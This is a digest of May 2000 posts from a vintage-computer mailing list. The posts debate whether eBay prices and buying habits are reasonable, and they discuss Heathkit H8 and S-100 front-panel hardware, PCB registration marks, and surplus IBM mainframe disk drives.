Dwight From foo at siconic.com Wed May 10 10:59:35 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <39198BCA.3C40A46E@rain.org> Message-ID: On Wed, 10 May 2000, Marvin wrote: > > eBay is a sickness. Those who continue to defend the prices paid for > > items bought from eBay are only trying to justify in their own minds the > > fact that they are spending way too much money on things they really > > should not be. > > > > Of course I will be attacked for saying all this, but then addicts do get > > bolshie when confronted with the reality of the situation. :) > > Anything ANYONE does can be called sick to others who have no interest nor > understanding. Look at that group of crazy people who collect old computers > ... must be a bunch of sickos :). The example I had in my head when I wrote that was me. It's a lot different when you can look critically at yourself and realize there's a problem. How many others have done so? From KB9VU at aol.com Wed May 10 12:00:17 2000 From: KB9VU at aol.com (KB9VU@aol.com) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! / H8 Message-ID: In a message dated 5/10/00 11:25:42 Central Daylight Time, pat@transarc.ibm.com writes: > > > > > >Heath made a computer (the H-8) which is similar to the IMSAI but > actually > > >does use a program to control the computer along with the usual hardware. > > >The H-8 is a lot newer than the IMSAI, however. > > > > > >-- Derek > > > > Any idea where I can get info on how to run an h8? I saved one from the > > garbage a while back, and it seems to function..at least it reacts to > > it's front panel, but I have no doc for it whatsoever. > I used to wander up to the local Heathkit store every weekend to play with > the H8, H11a (LSI-11 based machine running a variant of RT-11), and the > H89 - essentially a Z80 processor board and a 5.25" disk drive built into > an H19 terminal - I'd actually really love to have one of those, if anyone > has one they don't want ... :-) > > Anyway, I was such a frequent visitor to that store that the manager gave > me a couple of advertising posters for the machines - one was a poster > that said "H8 POWER", above an illustration of the bootstrap address, as > it would appear on the H8 display in red 7-segment LEDs; I'm almost > positive that the display read "040000 Pc" .... The poster is still > hanging on my old bedroom wall at my mother's house, unfortunately I can't > get to it to look just at the moment .... > > --Pat. I have two complete operating H8 machines and complete documentation. One id stock Heathkit with the gold pin MB. The other is a Trionix equipped unit with dual fans, modified power supply and an operating 8086 CPU board. Runs CP/M-86 from hard sector disks at a screaming 2 MHz. If someone needs a copy of the operating instructions for the H8, I'll see if I can get it for them for the cost of copies and postage. Can't be in a hurry though as I travel almost 100% of the time and copies will be done at the local Office Max when I have a spare hour or so. The H8 used a 50 pin buss designed by Heathkit. The boot loader could be initiated from the front panel and used a cassette tape or any of several disk drives depending on the controllers installed. AAMF, programs could be keyed into the front panel in Octal and executed from the panel without the use of an external device. Kind of fun watching the display as the program executed. I also have two working H/Z-89's left after today. Planning on keeping them, however. I just finished selling/giving away 8 complete H/Z-89's. (Sorry Pat) I do still have a small supply of spare parts and boards for the H8 and H89 if someone is in a bind. Also have complete documentation on the H/Z-88/89/90 series of computers. Mike Stover, KB9VU Florissant, MO CCA# 404 CRA# 77 USAF MARS AFA3BO From RCini at congressfinancial.com Wed May 10 12:03:20 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:38 2005 Subject: Bitmaps - PCB registration Message-ID: <497A9E0467D2D2119B760090271EB8E50E90E9@MAIL10> Dick: EDWin has the ability to build components and symbols. It also has the ability to embed a BMP file. So, I was hoping that someone had a registration mark in a popular graphics format for me to embed without having to go through the trouble of building a symbol. I have a copyright legend in the component side copper and "component side" text in the silk screen. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Richard Erlacher [mailto:richard@idcomm.com] Sent: Wednesday, May 10, 2000 11:41 AM To: classiccmp@classiccmp.org Subject: Re: Bitmaps - PCB registration The packages I've used (2 versons of OrCAD and EAGLE) seem not only to provide registration targets, but certainly provide sufficient utility to build such a symbol if it didn't already exist. Have you considered making your own registration target? If you do build it, be certain it's different from one side of each layer to the other. If you include a bit of text, i.e. a layer identifier in your registration target, that will help quite a bit. You may also want such an identifier separate from the target, so you can be certain all the layers are present when you look at a registered set of layer overlays. It must be obvious which is which, however, as it's easy to reverse a layer if you have both reversed text and "right-way-around" text in the copper. Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Wednesday, May 10, 2000 9:16 AM Subject: Bitmaps - PCB registration > Hello, all: > > I'm continuing work on My6502 SBC, working towards producing a > working PCB. I wanted to put registration marks on the artwork, but EDWin > CAD does not appear to have built-in registration mark graphics. > > I did a search for electronics clipart, but the 11 sites had nothing > useful. > > Does anyone have any useful registration bitmaps they can send me? > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > From bbrown at harper.cc.il.us Wed May 10 12:19:33 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:51:38 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: <007101bfba9a$dfb0d060$ca646464@dogclient01> References: <007101bfba9a$dfb0d060$ca646464@dogclient01> Message-ID: Anyone want: IBM 3880 qty. 1 IBM 3380 K qty. 2 (3880 is a mainframe disk controller, 3380K are mainframe disk drives).. this equipment is approximetly circa mid 80's. I am posting this for a friend, so I don't have specifics on condition. They are VERY big and heavy. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From elvey at hal.com Wed May 10 12:29:29 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: Message-ID: <200005101729.KAA27283@civic.hal.com> foo wrote: > On Wed, 10 May 2000, Marvin wrote: > > > > eBay is a sickness. Those who continue to defend the prices paid for > > > items bought from eBay are only trying to justify in their own minds the > > > fact that they are spending way too much money on things they really > > > should not be. > > > > > > Of course I will be attacked for saying all this, but then addicts do get > > > bolshie when confronted with the reality of the situation. :) > > > > Anything ANYONE does can be called sick to others who have no interest nor > > understanding. Look at that group of crazy people who collect old computers > > ... must be a bunch of sickos :). > > The example I had in my head when I wrote that was me. It's a lot > different when you can look critically at yourself and realize there's a > problem. > > How many others have done so? I will never admit that it is a sickness. We are doing a great service to the world. Without us, the world would fall into a worthless void. ... Wait, stop grabbing my arms. I'll come with you when I'm finished... Sorry about that interruption. ... No, I won't hurt my self and I'm not a danger to anyone else... WAIT.. I ..just want to sayyyyyyyyyyyyyyyyy........................ From mikeford at socal.rr.com Wed May 10 12:16:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: References: Message-ID: >On Tue, 9 May 2000, Mike Ford wrote: > >> >On Wed, 10 May 2000, John Wilson wrote: >> > >> >> I *love* the idea of someone selling new S100 machines in this day >>and age! >> > >> >Actually it's unprecedented. As far as I know this is the first example >> >of a company coming out of hibernation (according to Todd IMSAI never >> >really ceased to exist) and offering a new model of an obsoleted >> >computer product line. >> > >> >If there are any other examples of this I'd like to hear about them. >> >> MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run >> of about 5000. >> >> Western Electric going back into production of the 300B tube. >> >> Neumann I think also did a U67 again. > >Hmmm, perhaps I should've said "COMPUTER company". Radios don't count in >a classic computer discussion ;) > >Sellam One could argue the Mac Classic was a rerelease of the "classic" mac Plus. From mikeford at socal.rr.com Wed May 10 12:30:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: <39198CAF.E7B46013@rain.org> References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: >John Wilson wrote: >> >> Anyone who pays significantly more than the scrap value, is not looking >> hard enough. > >Absolutely! The other side of that coin though is some people are not >interested in looking, and are therefore willing to pay someone else to do >that. Why else would something like ebay be such a success? We are talking in most cases a SERIOUS amount of value added, not only do I dig up the rare part, I know what it is, know how to test it, fix it, know it from the rev b that is worthless, etc. etc. For me, eBay has brought too many sellers to the market so that prices are often too low for me to buy and sell items at anything remotely like a profit considering my time to even pack, let alone find something. From allisonp at world.std.com Wed May 10 12:36:45 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: <200005101618.JAA26403@civic.hal.com> Message-ID: > This wasn't the only clever part. They also jammed instructions > into the 8080 to do fetches and stores. All they used were > a number of one shots, some glue logic and 3state buffers. > The first time I looked at how they did it, I was impressed. > I don't know if it was an original idea but it was clever. > Dwight Only one instruction I think maybe jump and maybe nop. The reads and writes to the pannel was more majik. The data bus displayed whatever data was at the current location (or on the bus. To write a location all you had to do was create a write pulse and gate the data onto the DO bus. Most of the logic was single step(cycle) and single instruction Vs "run" state. I know this as I did a z80 machine with simpler STD like bus and made a cp for it. It was mostly buffering the LEDS and gating the switches to the bus and some simple timing logic (I used Clocked D and JK FFs rather than oneshots). The WAIT/ line on the Z80 did all the work. The worst part of building it was drilling/mounting/wiring 28 leds! Allison From mikeford at socal.rr.com Wed May 10 12:10:32 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt In-Reply-To: <000d01bfba8b$05e9eba0$0400c0a8@winbook> References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: I was just thinking (sorry won't happen again) that maybe what is behind much of the antieBay sentiment, and denial of the market prices eBay tends to set, is guilt over paying so little for items from other sources. If an item routinely sells for $3000 on eBay and you get one just to haul it away from some poor unsuspecting person, didn't you steal from them? From cem14 at cornell.edu Wed May 10 12:50:11 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair In-Reply-To: References: <39198BCA.3C40A46E@rain.org> Message-ID: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> At 08:59 AM 5/10/00 -0700, you wrote: >> > Of course I will be attacked for saying all this, but then addicts do get >> > bolshie when confronted with the reality of the situation. :) >> >> Anything ANYONE does can be called sick to others who have no interest nor >> understanding. Look at that group of crazy people who collect old computers >> ... must be a bunch of sickos :). > >The example I had in my head when I wrote that was me. It's a lot >different when you can look critically at yourself and realize there's a >problem. > >How many others have done so? Hi, my name is Carlos and I am an eBayer :-) . Of course, I've bought things that I probably shouldn't have bought (I took risks). On the other hand, in teeny isolated Ithaca there are no scrapyards and there is only one ham meeting a year (there is another one close by, so that makes two hamfests a year). My only source of free stuff is the ocassional find at the dumpster in the EE department. And I am not going to cut short what little family time I have on weekends in order to drive long distances to more plentiful lands. Tim: sniping actually works. You just have to set your limit beforehand. If the bids get past that limit, then don't snipe. Bidding early does help bring the price up because others have more time to convince themselves that they want the same thing. Someone pointed out that this has more or less the effect of making the auction mechanism more like a sealed bid auction, since snipers often don't have the time to submit a second bid. >From an economic point of view, open bid auctions are biased and are not a good indicator of proper market value because the price is not allowed to go down. In a rational market, repeated interaction, equal visibility and access, and the fact that the price _is_ allowed to go down as well as up is what makes it possible to find the market equilibrium. Thus, not even the average price of many eBay auctions is a good indicator of market value, because all samples are biased. Somebody already pointed out that eBay is good for sellers. Of course it is good; the mechanism is biased in their favor. Still, for reasons of local scarcity, I am glad that eBay exists. From allisonp at world.std.com Wed May 10 12:53:15 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: > > that said "H8 POWER", above an illustration of the bootstrap address, as > > it would appear on the H8 display in red 7-segment LEDs; I'm almost > > positive that the display read "040000 Pc" .... The poster is still That would be right as the H8 and most 8080s of the time used "split octal" where 0FFFFh is 377,377Q a few did use 177777 as addresses. Allison From bill at chipware.com Wed May 10 13:04:31 2000 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt In-Reply-To: Message-ID: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> > I was just thinking (sorry won't happen again) that maybe > what is behind much of the antieBay sentiment, and denial > of the market prices eBay tends to set, is guilt over paying > so little for items from other sources. If an item routinely > sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Conversely, if you sell something that you just got for free to some speculating moron on ebay for $3000, didn't you steal from them? From george at racsys.rt.rain.com Wed May 10 13:04:01 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt In-Reply-To: Message-ID: I'm not sure that it is guilt. I think it is depression from having to pay more ebay-like prices for something we like to tinker with. It is depressing to see stuff go higher on Ebay that you could reasonably(?) afford or justify to yourself... (Let alone your spouse). George george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Mike Ford wrote: > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? > > > From Hans.Franke at mch20.sbs.de Wed May 10 15:01:04 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt In-Reply-To: References: <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: <200005101801.e4AI1pG07778@mail2.siemens.de> > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Well... No! Are you feeling guilty if you win an Altair auction at USD 10 ? Or are you feeling better when you buy an egg at a delicatessen store for USD 2.- instead of a quater at a farmers barn ? The prices on eBay, and maybe some other locations are ridiculus high when compared to the price at the orgin. I doubt that most are sold by the original owner. It's a bit like in the vintage car business - a '61 Beetle may be offered on an auction (or from a dealer) in good condition at 5000 USD - or you may catch a bad one also at 5000, since you don't have the time to wait for one (A difference in here is that due the more established used / vintage car bussiness, most companies are specialized to sell good or well restored cars, while in the vintage computer area still prices are made regardless of the condition). Or you may muy the named Beetle for just 500 USD in superior condition from the original owner. So is this a theft ? And even more, when you buy a well restored, almost like new car you still pay only said 5000 USD, although the owner did pour in USD 7000 just for the restauration... After all, I hope we reach soon a level like in the vintage car business, where you get at least an average chance to pay only what's worth, and where a market value is established - at the moment we are far from that. Gruss H. P.S.: Just for the Beetle fans among us (*w* Ethan), the number 5000 is not related to any real value, just a number for example purpose. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Wed May 10 12:11:26 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: Really Why I Hate eBay Message-ID: Well, upon thinking about it some more it finally struck me why I really hate eBay. Before eBay I was able to build a fairly significantly collection through a lot of hard work. This included a lot of searching, a lot of walking, a lot of driving, a lot of bargaining, lot of hauling, some sweat, some blood, perhaps a few tears, etc. Through all this hard work I was able to amass a very nice collection of historical computer artifacts. It took some money as well, but the journey was the reward as they say. After eBay came it along, anybody with a little money (or rather a considerable amount of money in most cases) could amass a collection to perhaps rival mine without any of the hard work: without the journey. I guess it's typical human resentment. I resent the fact that my hard work could be equaled by a large number of dollars. I feel that a collection that can be bought so easily can not really be a collection in the sense that mine is, but something else entirely. But what really do I have to be resentful about? I've had the journey, which is something money can't buy. I have the harrowing stories to tell and the stories of those whom I've acquired the artifacts from. You can't get that from eBay (unless you can somehow dramatically depict the act of picking up a package from your porch). So behind all my anti-eBay rants, what I'm saying is, this hobby is much more rewarding when there has been work involved in creating your collection. It's kinda like the difference between actually going out and hunting for your meat as opposed to just picking it off atop your horse after having it herded towards you. Remember, you're not just creating a collection, you're recording a story. So there you have it. My true feelings on the matter. It's like Being Sellam Ismail (only better because you get to go back being you now ;) From foo at siconic.com Wed May 10 12:14:27 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: s100 busses! In-Reply-To: Message-ID: On Wed, 10 May 2000, Mike Ford wrote: > >> >Actually it's unprecedented. As far as I know this is the first example > >> >of a company coming out of hibernation (according to Todd IMSAI never > >> >really ceased to exist) and offering a new model of an obsoleted > >> >computer product line. Compare... > One could argue the Mac Classic was a rerelease of the "classic" mac Plus. ...and contrast. ;) From marvin at rain.org Wed May 10 13:16:13 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:38 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: <3919A76D.35B8E0B@rain.org> Mike Ford wrote: > > >Absolutely! The other side of that coin though is some people are not > >interested in looking, and are therefore willing to pay someone else to do > >that. Why else would something like ebay be such a success? > > We are talking in most cases a SERIOUS amount of value added, not only do I > dig up the rare part, I know what it is, know how to test it, fix it, know > it from the rev b that is worthless, etc. etc. For me, eBay has brought too > many sellers to the market so that prices are often too low for me to buy > and sell items at anything remotely like a profit considering my time to > even pack, let alone find something. Well, it depends on what the item is and who the buyers are. For instance, I consider documentation to be almost more important than the hardware itself. Why? Because coming up with hardware is usually trivial but coming up with docs depends on having a good network of people available or being lucky in finding them. Given that, I put up some fairly hard to find S-100 documentation about a year ago and it closed at $10. Was I unhappy? No, but it did give me a good indication of who the buyers really are there. I've heard a number of (to me) horror stories about people selling things, but wanting to check first on ebay "to see what it is worth." I rarely deal with that type of person since I am not interested in paying "retail" :). From foo at siconic.com Wed May 10 12:21:51 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt In-Reply-To: Message-ID: On Wed, 10 May 2000, Mike Ford wrote: > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Steal what? Air? What if you didn't know they routinely sold for $3000 on eBay either? Have you then stolen from them in that case? What if the person was glad to see it go in any case? What have you stole from them then? Why do you characterize such people as "poor" or "unsuspecting"? Of course, I can't deny there is a sense of having taken advantage of someone (hey, I can be human too...sometimes) but why should I go out of my way to part ways with $3,000? Sellam From go at ao.com Wed May 10 13:39:11 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:51:38 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: <4.2.2.20000510112253.03abbd80@wave-rock.ao.com> At 10:11 5/10/00 -0700, Sellam wrote: >Well, upon thinking about it some more it finally struck me why I really >hate eBay. > >After eBay came it along, anybody with a little money (or rather a >considerable amount of money in most cases) could amass a collection to >perhaps rival mine without any of the hard work: without the journey. I can see your point. However, you apparently believe that those of us who do use eBay must buy things with money that was handed to us on a platter. I *do* work hard for the things I buy - just not in the same sense as you. I work long hours and long weeks as a proprietor of a small computer software/hardware company. As a "working stiff" much of my time is taken up keeping customers satisfied, or doing installations or thousand other things. Money is simply a unit of "stored work." (Admittedly some folks are able to store more "work" than me... Some seem to store it without actually *doing* much "work" - but I digress.) >I guess it's typical human resentment. I resent the fact that my hard >work could be equaled by a large number of dollars. I feel that a >collection that can be bought so easily can not really be a collection in >the sense that mine is, but something else entirely. For me "hard work" *IS* equated to a (unfortunately seldom large) number of dollars. But for me, "free time" (available for lengthy journeys and digging in dumpsters, etc.) is less available than my "stored work." Don't get me wrong: if I had my choice, I'd *always* be out digging in the pits or going to garage sales, flea markets, auctions, etc. In fact, most of my (ahem) collection is obtained that way. From the SOL I rescued from a dumpster to the PDP-8/E that I picked up at a local auction (and later donated to someone who could better utilize it) it's almost all been obtained that way. But demands of the job (self imposed though they may be) simply make it very difficult for me to wander around sniffing for goodies. I *love* to but I just can't do it as much as I used to. I *do* resent not being able to use "direct manual labor" to achieve my goals. So instead, I "store work" and use it later - sometimes on eBay. So we *really* don't disagree in substance - just details. -Gary From marvin at rain.org Wed May 10 13:44:26 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:38 2005 Subject: eBay guilt References: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> Message-ID: <3919AE09.944FF549@rain.org> Bill Sudbrink wrote: > > Conversely, if you sell something that you just got for free to > some speculating moron on ebay for $3000, didn't you steal from > them? Not necessarily. I sold one of my Altairs last year to pay for a trip to the ARDF Championships up in Portland, OR. It closed around $1450; I had been given that computer so I paid nothing for it ... or did I? I have spent many years saving things from the dump, and the person who gave it to me was going to dumpster it if I didn't take it. Two costs come to mind. The first is storage costs which probably are minimal. The other? Short Story. This guy had a chair he wanted to sell and was asking $100,000 for this chair. It didn't look like much, and certainly didn't look to be worth that much. His answer? It had cost him at least $100,000 sitting in that chair instead of going out and doing something. Opportunity costs. From mikeford at socal.rr.com Wed May 10 13:30:46 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: eBay guilt In-Reply-To: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> References: Message-ID: >> I was just thinking (sorry won't happen again) that maybe >> what is behind much of the antieBay sentiment, and denial >> of the market prices eBay tends to set, is guilt over paying >> so little for items from other sources. If an item routinely >> sells for $3000 on eBay and you get one just to haul it away >> from some poor unsuspecting person, didn't you steal from them? > >Conversely, if you sell something that you just got for free to >some speculating moron on ebay for $3000, didn't you steal from >them? No. Perhaps some ads have an element of fraud, but caveat emptor. The BUYER has an obligation to be informed, to learn about what they purchase, and they bare the responsibility for doing it. Ethics related to the buyer informing the seller are much less clear, and what I do personally varies considerably from person to person. From mikeford at socal.rr.com Wed May 10 13:41:27 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: >some money as well, but the journey was the reward as they say. > >After eBay came it along, anybody with a little money (or rather a >considerable amount of money in most cases) could amass a collection to >perhaps rival mine without any of the hard work: without the journey. Thats just it though, they can't buy what you value, the journey. They will never know the satisfaction that only comes from finding treasure in a box when the previous 50 had junk. The satisfaction of months of searching, and weeks of labor to bring an old system back on line. Just like the classic car collector that has never turned a wrench. Some things money can't buy. From richard at idcomm.com Wed May 10 13:55:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair References: Message-ID: <000901bfbab1$59046060$0400c0a8@winbook> As usual, sir, you've overstated your case. You clearly demonstrated your position, namely that you not only don't want to pay anything for what you want, but you won't pay for the shipping either. In fact, you'd prefer to be paid to take it, which, I've heard, does happen. In most cases that would make any of us happy. However, that doesn't apply to every situation. You call prices ridiculous, when, had you passed first semester economics, you'd know that it only takes one person to set a price higher than your own. The market sets the price. If the supply is small and the demand is great, the price may be higher than you want to pay. That's the nature of capitalism. Take into consideration that not everyone agrees with your opinion about this, and not everyone agrees with your position on many other things. That's not vindictiveness, it's LIFE! The end result is that you sometimes have to pay more than you want to pay for something you really do want. You just have to want it more than you want the money. It is, after all, a trade. If the price reflects the convenience of having it NOW, perhaps you can save a few bucks by waiting for the next one to come along. The market for old computers is like the market for anything else. If you have lots of money and no food, you happily give up some money for some food. If you have SOME food, but perhaps not what you'd like today, you have to decide how much of your money you're willing to pay for a given item of food. If you're in the habit of paying $1 for a hamburger, say, and someone else wants bo buy them all for $1.25, YOU may dislke that, but the vendor and the other buyer won't have that problem. Perhaps if you'd ordered your burger half an hour sooner you'd have gotten one for $1. Once the market, in the form of a bidder, says an item is worth more than you're willing to pay, the decision of whether you'll pay your price is out of your hands. Someone else has set the price. You can choose to raise yours, but there's a risk involved. That risk doesn't apply if you're hard over on your price. Sometimes it's wise to take that positon, but if you're bidding for something you need, as opposed to something you might want, the price you're willing to pay might be higher. What's more, if your disposable income is high enough, perhaps a couple of orders of magnitude higher than what you have now, your price might be higher as well. It makes no sense to say a price is "too high" if you don't have as much money as another buyer, or if you don't have as great a "need" for the article on which you're bidding. Dick ----- Original Message ----- From: foo To: Sent: Wednesday, May 10, 2000 8:48 AM Subject: Re: Ebay Altair > On Wed, 10 May 2000, John Wilson wrote: > > > I seriously think eBay is likely to trigger some kind of 12-step program > > for auction junkies. Really, it's a bit like gambling, people get really > A point well worth quoting. This is exactly what I have said in the past > and it is correct. > > eBay is a sickness. Those who continue to defend the prices paid for > items bought from eBay are only trying to justify in their own minds the > fact that they are spending way too much money on things they really > should not be. > > Of course I will be attacked for saying all this, but then addicts do get > bolshie when confronted with the reality of the situation. > > :) > > Sellam > From richard at idcomm.com Wed May 10 14:04:25 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Bitmaps - PCB registration References: <497A9E0467D2D2119B760090271EB8E50E90E9@MAIL10> Message-ID: <002d01bfbab2$8fd4dba0$0400c0a8@winbook> Well, I can produce a registration target in BMP for you, but I'll have to spend the same 10 minutes that you'd hve to spend. Normally, the things look like a circle with a centered crosshair over it. What's also frequently seen is a mounting hole sized to accomodate a dowel pin to keep the panels aligned for routing. That's just a mounting hole drilled in the center of strategically placed alignment targets. If I send you a BMP image of a target, can you size it with your software, or do you need several sizes? Dick ----- Original Message ----- From: Cini, Richard To: Sent: Wednesday, May 10, 2000 11:03 AM Subject: RE: Bitmaps - PCB registration > Dick: > > EDWin has the ability to build components and symbols. It also has > the ability to embed a BMP file. So, I was hoping that someone had a > registration mark in a popular graphics format for me to embed without > having to go through the trouble of building a symbol. > > I have a copyright legend in the component side copper and > "component side" text in the silk screen. > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > > > -----Original Message----- > From: Richard Erlacher [mailto:richard@idcomm.com] > Sent: Wednesday, May 10, 2000 11:41 AM > To: classiccmp@classiccmp.org > Subject: Re: Bitmaps - PCB registration > > > The packages I've used (2 versons of OrCAD and EAGLE) seem not only to > provide registration targets, but certainly provide sufficient utility to > build such a symbol if it didn't already exist. Have you considered making > your own registration target? > > If you do build it, be certain it's different from one side of each layer to > the other. If you include a bit of text, i.e. a layer identifier in your > registration target, that will help quite a bit. You may also want such an > identifier separate from the target, so you can be certain all the layers > are present when you look at a registered set of layer overlays. It must be > obvious which is which, however, as it's easy to reverse a layer if you have > both reversed text and "right-way-around" text in the copper. > > Dick > > ----- Original Message ----- > From: Cini, Richard > To: 'ClassCompList' > Sent: Wednesday, May 10, 2000 9:16 AM > Subject: Bitmaps - PCB registration > > > > Hello, all: > > > > I'm continuing work on My6502 SBC, working towards producing a > > working PCB. I wanted to put registration marks on the artwork, but EDWin > > CAD does not appear to have built-in registration mark graphics. > > > > I did a search for electronics clipart, but the 11 sites had nothing > > useful. > > > > Does anyone have any useful registration bitmaps they can send me? > > > > Rich > > > > ========================== > > Richard A. Cini, Jr. > > Congress Financial Corporation > > 1133 Avenue of the Americas > > 30th Floor > > New York, NY 10036 > > (212) 545-4402 > > (212) 840-6259 (facsimile) > > > From richard at idcomm.com Wed May 10 14:07:13 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com><002301bfba8c$00de0000$fd83fea9@office><20000510121039.A12407@dbit.dbit.com> Message-ID: <003501bfbab2$f3c85240$0400c0a8@winbook> If the junyard is dirty enough, and the weather bad enough, not to mention if the item is scarce enough, the effort of obtaining it is worth something significant, don't you agree? That would serve, perhaps, to warrant the SERIOUS increase in price. Dick ----- Original Message ----- From: Mike Ford To: Sent: Wednesday, May 10, 2000 11:30 AM Subject: Re: Ebay Altair > >John Wilson wrote: > >> > >> Anyone who pays significantly more than the scrap value, is not looking > >> hard enough. > > > >Absolutely! The other side of that coin though is some people are not > >interested in looking, and are therefore willing to pay someone else to do > >that. Why else would something like ebay be such a success? > > We are talking in most cases a SERIOUS amount of value added, not only do I > dig up the rare part, I know what it is, know how to test it, fix it, know > it from the rev b that is worthless, etc. etc. For me, eBay has brought too > many sellers to the market so that prices are often too low for me to buy > and sell items at anything remotely like a profit considering my time to > even pack, let alone find something. > > From richard at idcomm.com Wed May 10 14:16:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair References: <39198BCA.3C40A46E@rain.org> <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: <004101bfbab4$2eeb10a0$0400c0a8@winbook> Please see my remarks embedded below. Dick ----- Original Message ----- From: Carlos Murillo To: Sent: Wednesday, May 10, 2000 11:50 AM Subject: Re: Ebay Altair > > Hi, my name is Carlos and I am an eBayer :-) . > Hi, Carlos! > > Of course, I've bought things that I probably shouldn't have > bought (I took risks). On the other hand, in teeny isolated Ithaca there > are no scrapyards and there is only one ham meeting a year (there is > another one close by, so that makes two hamfests a year). > My only source of free stuff is the ocassional find at the > dumpster in the EE department. And I am not going to cut short > what little family time I have on weekends in order to drive long > distances to more plentiful lands. > That's exactly where the value is added. You add value by hauling the stuff home from the scap yard or sifting through the stuff in your friend's driveway. It's like arguing that a diamond found on the ground is no more valuable than the pebble nest to it. That's evaluating an item's worth on the labor theory of value, like the communists tried to do for 75 years or so with little success. If those on this list who embrace that theory would just send me every $20 bill they find on the ground in the parking lot or wherever, I'll happily send them one of the many $1 bills I've gotten that way. Their value is the same, isn't it? The remainder of Carlos' remarks deserve restatement: > > Tim: sniping actually works. You just have to set your limit > beforehand. If the bids get past that limit, then don't snipe. > Bidding early does help bring the price up because others have > more time to convince themselves that they want the same thing. > 